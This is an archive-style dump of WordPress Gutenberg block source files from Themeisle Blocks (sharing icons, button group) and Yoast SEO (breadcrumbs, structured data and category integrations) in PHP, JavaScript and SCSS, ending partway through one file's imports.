				'type'    => 'boolean',
				'default' => 0,
			),
			'className'  => array(
				'type'    => 'string',
				'default' => 'is-default'
			),
		);
	}

	/**
	 * Block render function for server-side.
	 *
	 * This method will pe passed to the render_callback parameter and it will output
	 * the server side output of the block.
	 *
	 * @return mixed|string
	 */
	function render( $attributes ) {
		if ( isset( $attributes['className'] ) && strpos( $attributes['className'], 'is-style-icons' ) !== false ) {
			$class = 'wp-block-themeisle-blocks-sharing-icons';
		} else {
			$class = 'wp-block-themeisle-blocks-sharing-icons has-label';
		}

		if ( isset( $attributes['className'] ) ) {
			$class .=  ' ' . esc_attr( $attributes['className'] );
		}

		$style = '';

		if ( isset( $attributes['align'] ) ) {
			$style .= 'style="text-align: ' . $attributes['align'] .';"';
		}

		$html = '<div class="' . esc_attr( $class ) . '" ' . $style . '>';
		foreach ( $this->social_attributes as $key => $icon ) {
			if ( $key !== 'className' && $attributes[ $key ] == 1 ) {
				$html .= '<a class="social-icon is-' . esc_html( $key ) . '" href="' . esc_url( $icon['url'] ) . '" target="_blank">';
				$html .= '<i class="fab fa-' . esc_html( $icon['icon'] ) . '"></i>';
				if ( strpos( $attributes['className'], 'is-style-icons' ) === false ) {
					$html .= esc_html( $icon['label'] );
				}
				$html .= '</a>';
			}
		}
		$html .= '</div>';
		return $html;
	}
}
sharing-icons/social_list.js000066600000000751151142373640012170 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const socialList = {
	facebook: {
		label: __( 'Facebook' ),
		icon: 'facebook-f'
	},
	twitter: {
		label: __( 'Twitter' ),
		icon: 'twitter'
	},
	linkedin: {
		label: __( 'Linkedin' ),
		icon: 'linkedin-in'
	},
	pinterest: {
		label: __( 'Pinterest' ),
		icon: 'pinterest-p'
	},
	tumblr: {
		label: __( 'Tumblr' ),
		icon: 'tumblr'
	},
	reddit: {
		label: __( 'Reddit' ),
		icon: 'reddit-alien'
	}
};

export default socialList;
sharing-icons/index.js000066600000005217151142373640010774 0ustar00/**
 * WordPress dependencies
 */

import classnames from 'classnames';

const { __ } = wp.i18n;

const {
	registerBlockType
} = wp.blocks;

const {
	BlockControls
} = wp.editor;

const {
	Toolbar,
	Button,
	Tooltip
} = wp.components;

/**
 * Internal dependencies
 */
import './style.scss';
import './editor.scss';
import { sharingIcon } from '../../helpers/icons.js';
import socialList from './social_list';
import SocialIcons from './icons';

registerBlockType( 'themeisle-blocks/sharing-icons', {
	title: __( 'Sharing Icons' ),
	description: __( 'Share buttons for your website visitors to share content on any social sharing service.' ),
	icon: sharingIcon,
	category: 'themeisle-blocks',
	keywords: [
		'social media',
		'sharing',
		'icons'
	],
	attributes: {
		facebook: {
			type: 'boolean',
			default: true
		},
		twitter: {
			type: 'boolean',
			default: true
		},
		linkedin: {
			type: 'boolean',
			default: true
		},
		pinterest: {
			type: 'boolean',
			default: false
		},
		tumblr: {
			type: 'boolean',
			default: false
		},
		reddit: {
			type: 'boolean',
			default: false
		}
	},

	supports: {
		html: true,
		align: [ 'left', 'center', 'right' ]
	},

	styles: [
		{ name: 'default', label: __( 'Regular' ), isDefault: true },
		{ name: 'icons', label: __( 'Icons Only' ) }
	],

	edit: props => {
		const toggleIcons = ( item ) => {
			props.setAttributes({ [ item ]: ! props.attributes[item] });
		};

		return [
			<BlockControls key="toolbar-controls">
				<Toolbar
					className='components-toolbar'
				>
					{ Object.keys( socialList ).map( ( item, i ) => {
						let prop = props.attributes[item];
						return (
							<Tooltip text={ __( `Display ${ socialList[item].label }` )	}>
								<Button
									className={ classnames(
										'components-icon-button',
										'components-toolbar__control',
										{ 'is-active': prop },
									) }
									onClick={ ( e ) => toggleIcons( item ) }
								>
									<SocialIcons icon={ item }/>
								</Button>
							</Tooltip>
						);
					}) }
				</Toolbar>
			</BlockControls>,

			<div
				className={ classnames(
					props.className,
					{ 'has-label': ( props.attributes.className ? ! props.attributes.className.includes( 'is-style-icons' ) : true ) },
				) }
			>
				{ Object.keys( socialList ).map( ( item, i ) => {
					if ( true === props.attributes[item]) {
						return (
							<a className={ `social-icon is-${item}` }><i className={ `fab fa-${socialList[item].icon}` }></i>{ ( props.attributes.className ? ! props.attributes.className.includes( 'is-style-icons' ) : true ) && socialList[item].label }</a>
						);
					}
				}) }
			</div>
		];
	},

	save: () => {
		return null;
	}
});
sharing-icons/style.scss000066600000002355151142373640011364 0ustar00.wp-block-themeisle-blocks-sharing-icons {
	.social-icon {
		background: #999999;
		color: #ffffff;
		font-size: 14px;
		position: relative;
		margin: 10px 5px 10px 0;;
		padding: 12px;
		border: none;
		border-radius: 3px;
		white-space: normal;
		letter-spacing: 0;
		display: inline-block;
		text-align: center;
		vertical-align: middle;
		touch-action: manipulation;
		cursor: pointer;
		background-image: none;
		line-height: 20px;

		&.is-facebook {
			background-color: #3b5998;
			border-color: #3b5998;
		}

		&.is-twitter {
			background-color: #55acee;
			border-color: #55acee;
		}

		&.is-linkedin {
			background-color: #0976b4;
			border-color: #0976b4;
		}

		&.is-pinterest {
			background-color: #cc2127;
			border-color: #cc2127;
		}

		&.is-tumblr {
			background-color: #35465c;
			border-color: #35465c;
		}

		&.is-reddit {
			background-color: #ff4500;
			border-color: #ff4500;
		}

		&:hover {
			box-shadow: 0 14px 26px -12px rgba(59, 89, 152, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(59, 89, 152, 0.2);
		}

		i {
			min-width: 20px;
			color: #ffffff;
			font-size: 16px;
		}
	}

	&.has-label {
		i {
			border-right: 1px solid rgba( 255, 255, 255, 0.5 );
			margin-right: 10px;
			padding-right: 10px;
		}
	}
}abstract-dynamic-block.php000066600000002365151143747510011614 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Dynamic_Block class.
 */
abstract class Dynamic_Block implements Integration_Interface {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name;

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'init', [ $this, 'register_block' ], 11 );
	}

	/**
	 * Registers the block.
	 *
	 * @return void
	 */
	public function register_block() {
		\register_block_type(
			'yoast-seo/' . $this->block_name,
			[
				'editor_script'   => $this->script,
				'render_callback' => [ $this, 'present' ],
				'attributes'      => [
					'className' => [
						'default' => '',
						'type'    => 'string',
					],
				],
			]
		);
	}

	/**
	 * Presents the block output. This is abstract because in the loop we need to be able to build the data for the
	 * presenter in the last moment.
	 *
	 * @param array $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	abstract public function present( $attributes );
}
block-categories.php000066600000003477151143747510010521 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use Yoast\WP\SEO\Helpers\Wordpress_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Internal_Linking_Category block class.
 */
class Internal_Linking_Category implements Integration_Interface {

	/**
	 * Represents the WordPress helper.
	 *
	 * @var Wordpress_Helper
	 */
	protected $wordpress_helper;

	/**
	 * Internal_Linking_Category constructor.
	 *
	 * @param Wordpress_Helper $wordpress_helper The WordPress helper.
	 */
	public function __construct( Wordpress_Helper $wordpress_helper ) {
		$this->wordpress_helper = $wordpress_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		$wordpress_version = $this->wordpress_helper->get_wordpress_version();

		// The 'block_categories' filter has been deprecated in WordPress 5.8 and replaced by 'block_categories_all'.
		if ( \version_compare( $wordpress_version, '5.8-beta0', '<' ) ) {
			\add_filter( 'block_categories', [ $this, 'add_block_categories' ] );
		}
		else {
			\add_filter( 'block_categories_all', [ $this, 'add_block_categories' ] );
		}
	}

	/**
	 * Adds Yoast block categories.
	 *
	 * @param array $categories The categories.
	 * @return array The filtered categories.
	 */
	public function add_block_categories( $categories ) {
		$categories[] = [
			'slug'  => 'yoast-structured-data-blocks',
			'title' => \sprintf(
				/* translators: %1$s expands to Yoast. */
				\__( '%1$s Structured Data Blocks', 'wordpress-seo' ),
				'Yoast'
			),
		];
		$categories[] = [
			'slug'  => 'yoast-internal-linking-blocks',
			'title' => \sprintf(
				/* translators: %1$s expands to Yoast. */
				\__( '%1$s Internal Linking Blocks', 'wordpress-seo' ),
				'Yoast'
			),
		];

		return $categories;
	}
}
structured-data-blocks.php000066600000022552151143747510011665 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class to load assets required for structured data blocks.
 */
class Structured_Data_Blocks implements Integration_Interface {

	use No_Conditionals;

	/**
	 * An instance of the WPSEO_Admin_Asset_Manager class.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * An instance of the image helper class.
	 *
	 * @var Image_Helper
	 */
	protected $image_helper;

	/**
	 * The image caches per post.
	 *
	 * @var array
	 */
	protected $caches = [];

	/**
	 * The used cache keys per post.
	 *
	 * @var array
	 */
	protected $used_caches = [];

	/**
	 * Whether or not we've registered our shutdown function.
	 *
	 * @var bool
	 */
	protected $registered_shutdown_function = false;

	/**
	 * Structured_Data_Blocks constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager The asset manager.
	 * @param Image_Helper              $image_helper  The image helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Image_Helper $image_helper
	) {
		$this->asset_manager = $asset_manager;
		$this->image_helper  = $image_helper;
	}

	/**
	 * Registers hooks for Structured Data Blocks with WordPress.
	 */
	public function register_hooks() {
		\add_action( 'enqueue_block_editor_assets', [ $this, 'enqueue_block_editor_assets' ] );
		$this->register_blocks();
	}

	/**
	 * Registers the blocks.
	 *
	 * @return void
	 */
	public function register_blocks() {
		\register_block_type(
			'yoast/faq-block',
			[
				'render_callback' => [ $this, 'optimize_faq_images' ],
				'attributes'      => [
					'className' => [
						'default' => '',
						'type'    => 'string',
					],
					'questions' => [
						'type' => 'array',
					],
					'additionalListCssClasses' => [
						'type' => 'string',
					],
				],
			]
		);
		\register_block_type(
			'yoast/how-to-block',
			[
				'render_callback' => [ $this, 'optimize_how_to_images' ],
				'attributes'      => [
					'hasDuration' => [
						'type' => 'boolean',
					],
					'days' => [
						'type' => 'string',
					],
					'hours' => [
						'type' => 'string',
					],
					'minutes' => [
						'type' => 'string',
					],
					'description' => [
						'type'     => 'array',
						'source'   => 'children',
						'selector' => '.schema-how-to-description',
					],
					'jsonDescription' => [
						'type' => 'string',
					],
					'steps' => [
						'type' => 'array',
					],
					'additionalListCssClasses' => [
						'type' => 'string',
					],
					'unorderedList' => [
						'type' => 'boolean',
					],
					'durationText' => [
						'type' => 'string',
					],
					'defaultDurationText' => [
						'type' => 'string',
					],
				],
			]
		);
	}

	/**
	 * Enqueue Gutenberg block assets for backend editor.
	 */
	public function enqueue_block_editor_assets() {
		/**
		 * Filter: 'wpseo_enable_structured_data_blocks' - Allows disabling Yoast's schema blocks entirely.
		 *
		 * @api bool If false, our structured data blocks won't show.
		 */
		if ( ! \apply_filters( 'wpseo_enable_structured_data_blocks', true ) ) {
			return;
		}

		$this->asset_manager->enqueue_script( 'structured-data-blocks' );
		$this->asset_manager->enqueue_style( 'structured-data-blocks' );
	}

	/**
	 * Optimizes images in the FAQ blocks.
	 *
	 * @param array  $attributes The attributes.
	 * @param string $content    The content.
	 *
	 * @return string The content with images optimized.
	 */
	public function optimize_faq_images( $attributes, $content ) {
		if ( ! isset( $attributes['questions'] ) ) {
			return $content;
		}

		return $this->optimize_images( $attributes['questions'], 'answer', $content );
	}

	/**
	 * Optimizes images in the How-To blocks.
	 *
	 * @param array  $attributes The attributes.
	 * @param string $content    The content.
	 *
	 * @return string The content with images optimized.
	 */
	public function optimize_how_to_images( $attributes, $content ) {
		if ( ! isset( $attributes['steps'] ) ) {
			return $content;
		}

		return $this->optimize_images( $attributes['steps'], 'text', $content );
	}

	/**
	 * Optimizes images in structured data blocks.
	 *
	 * @param array  $elements The list of elements from the block attributes.
	 * @param string $key      The key in the data to iterate over.
	 * @param string $content  The content.
	 *
	 * @return string The content with images optimized.
	 */
	private function optimize_images( $elements, $key, $content ) {
		global $post;
		if ( ! $post ) {
			return $content;
		}

		$this->add_images_from_attributes_to_used_cache( $post->ID, $elements, $key );

		// Then replace all images with optimized versions in the content.
		$content = \preg_replace_callback(
			'/<img[^>]+>/',
			function ( $matches ) {
				\preg_match( '/src="([^"]+)"/', $matches[0], $src_matches );
				if ( ! $src_matches || ! isset( $src_matches[1] ) ) {
					return $matches[0];
				}
				$attachment_id = $this->attachment_src_to_id( $src_matches[1] );
				if ( $attachment_id === 0 ) {
					return $matches[0];
				}
				$image_size  = 'full';
				$image_style = [ 'style' => 'max-width: 100%; height: auto;' ];
				\preg_match( '/style="[^"]*width:\s*(\d+)px[^"]*"/', $matches[0], $style_matches );
				if ( $style_matches && isset( $style_matches[1] ) ) {
					$width     = (int) $style_matches[1];
					$meta_data = \wp_get_attachment_metadata( $attachment_id );
					if ( isset( $meta_data['height'] ) && isset( $meta_data['width'] ) && $meta_data['height'] > 0 && $meta_data['width'] > 0 ) {
						$aspect_ratio = ( $meta_data['height'] / $meta_data['width'] );
						$height       = ( $width * $aspect_ratio );
						$image_size   = [ $width, $height ];
					}
					$image_style = '';
				}

				/**
				 * Filter: 'wpseo_structured_data_blocks_image_size' - Allows adjusting the image size in structured data blocks.
				 *
				 * @since 18.2
				 *
				 * @param string|int[] $image_size     The image size. Accepts any registered image size name, or an array of width and height values in pixels (in that order).
				 * @param int          $attachment_id  The id of the attachment.
				 * @param string       $attachment_src The attachment src.
				 */
				$image_size = \apply_filters(
					'wpseo_structured_data_blocks_image_size',
					$image_size,
					$attachment_id,
					$src_matches[1]
				);
				$image_html = \wp_get_attachment_image(
					$attachment_id,
					$image_size,
					false,
					$image_style
				);

				if ( empty( $image_html ) ) {
					return $matches[0];
				}

				return $image_html;
			},
			$content
		);

		if ( ! $this->registered_shutdown_function ) {
			\register_shutdown_function( [ $this, 'maybe_save_used_caches' ] );
			$this->registered_shutdown_function = true;
		}

		return $content;
	}

	/**
	 * If the caches of structured data block images have been changed, saves them.
	 *
	 * @return void
	 */
	public function maybe_save_used_caches() {
		foreach ( $this->used_caches as $post_id => $used_cache ) {
			if ( isset( $this->caches[ $post_id ] ) && $used_cache === $this->caches[ $post_id ] ) {
				continue;
			}
			\update_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', $used_cache );
		}
	}

	/**
	 * Converts an attachment src to an attachment ID.
	 *
	 * @param string $src The attachment src.
	 *
	 * @return int The attachment ID. 0 if none was found.
	 */
	private function attachment_src_to_id( $src ) {
		global $post;

		if ( isset( $this->used_caches[ $post->ID ][ $src ] ) ) {
			return $this->used_caches[ $post->ID ][ $src ];
		}

		$cache = $this->get_cache_for_post( $post->ID );
		if ( isset( $cache[ $src ] ) ) {
			$this->used_caches[ $post->ID ][ $src ] = $cache[ $src ];
			return $cache[ $src ];
		}

		$this->used_caches[ $post->ID ][ $src ] = $this->image_helper->get_attachment_by_url( $src );
		return $this->used_caches[ $post->ID ][ $src ];
	}

	/**
	 * Returns the cache from postmeta for a given post.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return array The images cache.
	 */
	private function get_cache_for_post( $post_id ) {
		if ( isset( $this->caches[ $post_id ] ) ) {
			return $this->caches[ $post_id ];
		}

		$cache = \get_post_meta( $post_id, 'yoast-structured-data-blocks-images-cache', true );
		if ( ! $cache ) {
			$cache = [];
		}

		$this->caches[ $post_id ] = $cache;
		return $cache;
	}

	/**
	 * Adds any images that have their ID in the block attributes to the cache.
	 *
	 * @param int    $post_id  The post ID.
	 * @param array  $elements The elements.
	 * @param string $key      The key in the elements we should loop over.
	 *
	 * @return void
	 */
	private function add_images_from_attributes_to_used_cache( $post_id, $elements, $key ) {
		// First grab all image IDs from the attributes.
		$images = [];
		foreach ( $elements as $element ) {
			if ( ! isset( $element[ $key ] ) ) {
				continue;
			}
			foreach ( $element[ $key ] as $part ) {
				if ( ! \is_array( $part ) || ! isset( $part['type'] ) || $part['type'] !== 'img' ) {
					continue;
				}

				if ( ! isset( $part['key'] ) || ! isset( $part['props']['src'] ) ) {
					continue;
				}

				$images[ $part['props']['src'] ] = (int) $part['key'];
			}
		}

		if ( isset( $this->used_caches[ $post_id ] ) ) {
			$this->used_caches[ $post_id ] = \array_merge( $this->used_caches[ $post_id ], $images );
		}
		else {
			$this->used_caches[ $post_id ] = $images;
		}
	}
}
breadcrumbs-block.php000066600000007176151143747510010665 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Helpers\Request_Helper;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Siblings block class
 */
class Breadcrumbs_Block extends Dynamic_Block {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name = 'breadcrumbs';

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script = 'yoast-seo-dynamic-blocks';

	/**
	 * The Meta_Tags_Context_Memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The Replace vars helper.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	private $helpers;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * The request helper.
	 *
	 * @var Request_Helper
	 */
	private $request_helper;

	/**
	 * Siblings_Block constructor.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer     The context.
	 * @param WPSEO_Replace_Vars         $replace_vars         The replace variable helper.
	 * @param Helpers_Surface            $helpers              The Helpers surface.
	 * @param Indexable_Repository       $indexable_repository The indexable repository.
	 * @param Request_Helper             $request_helper       The request helper.
	 */
	public function __construct(
		Meta_Tags_Context_Memoizer $context_memoizer,
		WPSEO_Replace_Vars $replace_vars,
		Helpers_Surface $helpers,
		Indexable_Repository $indexable_repository,
		Request_Helper $request_helper
	) {
		$this->context_memoizer     = $context_memoizer;
		$this->replace_vars         = $replace_vars;
		$this->helpers              = $helpers;
		$this->indexable_repository = $indexable_repository;
		$this->request_helper       = $request_helper;
	}

	/**
	 * Presents the breadcrumbs output for the current page or the available post_id.
	 *
	 * @param array $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	public function present( $attributes ) {
		$presenter = new Breadcrumbs_Presenter();
		// $this->context_memoizer->for_current_page only works on the frontend. To render the right breadcrumb in the
		// editor, we need the repository.
		if ( $this->request_helper->is_rest_request() || \is_admin() ) {
			$post_id = \get_the_ID();
			if ( $post_id ) {
				$indexable = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );

				if ( ! $indexable ) {
					$post      = \get_post( $post_id );
					$indexable = $this->indexable_repository->query()->create(
						[
							'object_id'        => $post_id,
							'object_type'      => 'post',
							'object_sub_type'  => $post->post_type,
						]
					);
				}

				$context = $this->context_memoizer->get( $indexable, 'Post_Type' );
			}
		}
		if ( ! isset( $context ) ) {
			$context = $this->context_memoizer->for_current_page();
		}

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation            = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
		$presenter->presentation = $presentation;
		$presenter->replace_vars = $this->replace_vars;
		$presenter->helpers      = $this->helpers;
		$class_name              = 'yoast-breadcrumbs';

		if ( ! empty( $attributes['className'] ) ) {
			$class_name .= ' ' . \esc_attr( $attributes['className'] );
		}

		return '<div class="' . $class_name . '">' . $presenter->present() . '</div>';
	}
}
button-group/editor.scss000066600000007336151151722000011403 0ustar00.wp-block-themeisle-blocks-button-group-header-panel {
	&.is-opened {
		padding: 0;
	}

	.header-tab {
		display: inline-block;
		width: calc( 100% / 2 );
		padding: 10px 20px;
		text-align: center;
		cursor: pointer;

		&.is-selected {
			border-bottom: 2px solid #0085ba;
			background: #f3f4f5;
		}

		&:hover {
			background: #f3f4f5;
		}

		span {
			display: inline-block;
			font-size: 12px;

			svg {
				width: 20px;
				height: 20px;
				display: block;
				margin: 0 auto;
			}
		}
	}
}

.wp-block-themeisle-blocks-select-button-button {
	background: transparent;
	position: relative;
	width: 100%;
	box-shadow: 0 0 0 transparent;
	transition: box-shadow .1s linear;
	border-radius: 4px;
	border: 1px solid #8d96a0;
	
	&.is-button {
		background: transparent;
	}
	
	&:hover {
		background: #fafafa;
		border-color: #999;
		box-shadow: inset 0 -1px 0 #999;
		color: #23282d;
		text-decoration: none;
	}
	
	&:focus {
		border: 1px solid black;
	}
	
	&:after {
		content: "";
		pointer-events: none;
		display: block;
		width: 0;
		height: 0;
		border-left: 3px solid transparent;
		border-right: 3px solid transparent;
		border-top: 5px solid currentColor;
		margin-left: 4px;
		margin-right: 2px;
		right: 8px;
		top: 12px;
		position: absolute;
	}
}

.wp-block-themeisle-blocks-button-group {
	display: flex;
	margin-bottom: 0;
	position: relative;

	&.collapse-desktop {
		flex-direction: column;

		.wp-block-themeisle-blocks-button {
			margin: 10px 0 !important;
		}
	}

	i {
		&.margin-left {
			margin-left: 10px;
		}
	
		&.margin-right {
			margin-right: 10px;
		}
	}

	.editor-rich-text {
		display: inline-block;
	}

	.editor-rich-text__tinymce.mce-content-body {
		cursor: text;
	}

	.editor-rich-text__tinymce[data-is-placeholder-visible="true"] + .editor-rich-text__tinymce {
		opacity: 0.2;
	}

	.editor-block-preview__content & {
		max-width: 100%;

		.editor-rich-text__tinymce[data-is-placeholder-visible="true"] {
			height: auto;
		}

		.wp-block-themeisle-blocks-button {
			max-width: 100%;
			overflow: hidden;
			white-space: nowrap;
			text-overflow: ellipsis;
		}
	}

	.wp-block-themeisle-blocks-button {
		cursor: pointer;
		display: inline-block;
		font-size: 18px;
		margin: 0;
		text-align: center;
		text-decoration: none;
		white-space: normal;
		overflow-wrap: break-word;
		height: 100%;
	}
}

.wp-block-themeisle-blocks-button-group-hover-control {
	width: 100%;
	margin-bottom: 20px;

	.components-button {
		width: calc( 100% / 2 );
		justify-content: center;
	}
}

.edit-post-settings-sidebar__panel-block .components-panel__body {
	.components-color-palette {
		display: inline-block;
	}

	.components-base-control.border-width {
		margin-top: 2em;
	}
}

.wp-themesiel-blocks-button-group-components-toolbar {
	.components-icon-button:not(:disabled):not([aria-disabled="true"]):not(.is-default) {
		margin: 2px;
		padding: 4px;
		border: 1px solid transparent;

		&:hover {
			box-shadow: inset 0 0 0 1px #555d66,inset 0 0 0 2px #fff;
		}
	}

	.components-dropdown-menu__indicator::after {
		content: "";
		pointer-events: none;
		display: block;
		width: 0;
		height: 0;
		border-left: 3px solid transparent;
		border-right: 3px solid transparent;
		border-top: 5px solid currentColor;
		margin-left: 4px;
		margin-right: 2px;
	}
}

.wp-themesiel-blocks-button-group-popover-content {
	.components-popover__content {
		padding: 20px;
	}
}


@media ( max-width: 960px )  {
	.wp-block-themeisle-blocks-button-group {
		&.collapse-tablet {
			flex-direction: column;

			.wp-block-themeisle-blocks-button {
				margin: 10px 0 !important;
			}
		}
	}
}

@media ( max-width: 600px )  {
	.wp-block-themeisle-blocks-button-group {
		&.collapse-mobile {
			flex-direction: column;

			.wp-block-themeisle-blocks-button {
				margin: 10px 0 !important;
			}
		}
	}
}button-group/deprecated.js000066600000010100151151722000011635 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies.
 */
const { times } = lodash;

const { RichText } = wp.editor;

const { Fragment } = wp.element;

const deprecated = [ {
	attributes: {
		id: {
			type: 'string'
		},
		buttons: {
			type: 'number',
			default: 2
		},
		align: {
			type: 'string'
		},
		spacing: {
			type: 'number',
			default: 20
		},
		collapse: {
			type: 'string',
			default: 'collapse-none'
		},
		fontSize: {
			type: 'number',
			default: 18
		},
		fontFamily: {
			type: 'string'
		},
		fontVariant: {
			type: 'string'
		},
		textTransform: {
			type: 'string'
		},
		fontStyle: {
			type: 'string',
			default: 'normal'
		},
		lineHeight: {
			type: 'number'
		},
		data: {
			type: 'array',
			default: [
				{
					text: '',
					link: '',
					newTab: false,
					color: '#ffffff',
					background: '#32373c',
					border: '',
					hoverColor: '',
					hoverBackground: '',
					hoverBorder: '',
					borderSize: 0,
					borderRadius: 0,
					boxShadow: false,
					boxShadowColor: '',
					boxShadowColorOpacity: 50,
					boxShadowBlur: 5,
					boxShadowSpread: 1,
					boxShadowHorizontal: 0,
					boxShadowVertical: 0,
					hoverBoxShadowColor: '',
					hoverBoxShadowColorOpacity: 50,
					hoverBoxShadowBlur: 5,
					hoverBoxShadowSpread: 1,
					hoverBoxShadowHorizontal: 0,
					hoverBoxShadowVertical: 0,
					iconType: 'none',
					prefix: '',
					icon: '',
					paddingTopBottom: 12,
					paddingLeftRight: 24
				},
				{
					text: '',
					link: '',
					newTab: false,
					color: '#ffffff',
					background: '#32373c',
					border: '',
					hoverColor: '',
					hoverBackground: '',
					hoverBorder: '',
					borderSize: 0,
					borderRadius: 0,
					boxShadow: false,
					boxShadowColor: '',
					boxShadowColorOpacity: 50,
					boxShadowBlur: 5,
					boxShadowSpread: 1,
					boxShadowHorizontal: 0,
					boxShadowVertical: 0,
					hoverBoxShadowColor: '',
					hoverBoxShadowColorOpacity: 50,
					hoverBoxShadowBlur: 5,
					hoverBoxShadowSpread: 1,
					hoverBoxShadowHorizontal: 0,
					hoverBoxShadowVertical: 0,
					iconType: 'none',
					prefix: '',
					icon: '',
					paddingTopBottom: 12,
					paddingLeftRight: 24
				}
			]
		}
	},
	save: props => {
		const {
			id,
			buttons,
			align,
			collapse,
			fontSize,
			fontFamily,
			fontStyle,
			fontVariant,
			textTransform,
			lineHeight,
			data
		} = props.attributes;

		const style = {
			fontSize: `${ fontSize }px`,
			fontFamily: fontFamily,
			fontWeight: fontVariant,
			fontStyle: fontStyle,
			textTransform: textTransform,
			lineHeight: lineHeight && `${ lineHeight }px`
		};

		const button = i => {
			const buttonStyle = {
				...style,
				borderWidth: `${ data[i].borderSize }px`,
				borderRadius: `${ data[i].borderRadius }px`,
				padding: `${ data[i].paddingTopBottom }px ${ data[i].paddingLeftRight }px `
			};

			return (
				<Fragment>
					<a
						href={ data[i].link }
						target={ data[i].newTab ? '_blank' : '_self' }
						className={ classnames(
							'wp-block-themeisle-blocks-button',
							`wp-block-themeisle-blocks-button-${ i }`
						) }
						style={ buttonStyle }
					>
						{ ( 'left' === data[i].iconType || 'only' === data[i].iconType ) && (
							<i className={ classnames(
								data[i].prefix,
								'fa-fw',
								`fa-${ data[i].icon }`,
								{ 'margin-right': 'left' === data[i].iconType }
							) }>
							</i>
						) }

						{ 'only' !== data[i].iconType && (
							<RichText.Content
								tagName="span"
								value={ data[i].text }
							/>
						) }

						{ 'right' === data[i].iconType && (
							<i className={ `${ data[i].prefix } fa-fw fa-${ data[i].icon } margin-left` }></i>
						) }
					</a>
				</Fragment>
			);
		};

		const collapseClass = 'collapse-none' !== collapse ? collapse : '';

		return (
			<div
				id={ id }
				className={ classnames(
					props.className,
					collapseClass
				) }
				style={ {
					justifyContent: align,
					alignItems: align ? align : 'flex-start'
				} }
			>
				{ times( buttons, i => button( i ) ) }
			</div>
		);
	}
} ];

export default deprecated;
button-group/style.scss000066600000001666151151722000011255 0ustar00.wp-block-themeisle-blocks-button-group {
	display: flex;
	margin-bottom: 0;
	position: relative;

	&.collapse-desktop {
		flex-direction: column;

		.wp-block-themeisle-blocks-button {
			margin: 10px 0 !important;
		}
	}

	.wp-block-themeisle-blocks-button {
		cursor: pointer;
		font-size: 18px;
		margin: 0;
		text-align: center;
		text-decoration: none;
		white-space: normal;
		overflow-wrap: break-word;
		height: 100%;
	}

	i {
		&.margin-left {
			margin-left: 10px;
		}
	
		&.margin-right {
			margin-right: 10px;
		}
	}
}

@media ( max-width: 960px )  {
	.wp-block-themeisle-blocks-button-group {
		&.collapse-tablet {
			flex-direction: column;

			.wp-block-themeisle-blocks-button {
				margin: 10px 0 !important;
			}
		}
	}
}

@media ( max-width: 600px )  {
	.wp-block-themeisle-blocks-button-group {
		&.collapse-mobile {
			flex-direction: column;

			.wp-block-themeisle-blocks-button {
				margin: 10px 0 !important;
			}
		}
	}
}button-group/index.js000066600000073565151151722000010674 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';
import hexToRgba from 'hex-rgba';
import GoogleFontLoader from 'react-google-font-loader';

/**
 * WordPress dependencies.
 */
const { __ } = wp.i18n;

const { times } = lodash;

const { registerBlockType } = wp.blocks;

const {
	BaseControl,
	Button,
	ButtonGroup,
	Dashicon,
	Dropdown,
	MenuGroup,
	MenuItem,
	Icon,
	IconButton,
	PanelBody,
	Placeholder,
	RangeControl,
	SelectControl,
	Spinner,
	ToggleControl,
	Toolbar
} = wp.components;

const {
	compose,
	withState
} = wp.compose;

const { withSelect } = wp.data;

const {
	AlignmentToolbar,
	BlockControls,
	ColorPalette,
	InspectorControls,
	RichText
} = wp.editor;

const { Fragment } = wp.element;

/**
 * Internal dependencies
 */
import './editor.scss';
import './style.scss';

import { buttonsIcon } from '../../helpers/icons.js';

import { unescapeHTML } from '../../helpers/helper-functions.js';

import GoogleFontsControl from '../../components/google-fonts-control/index.js';

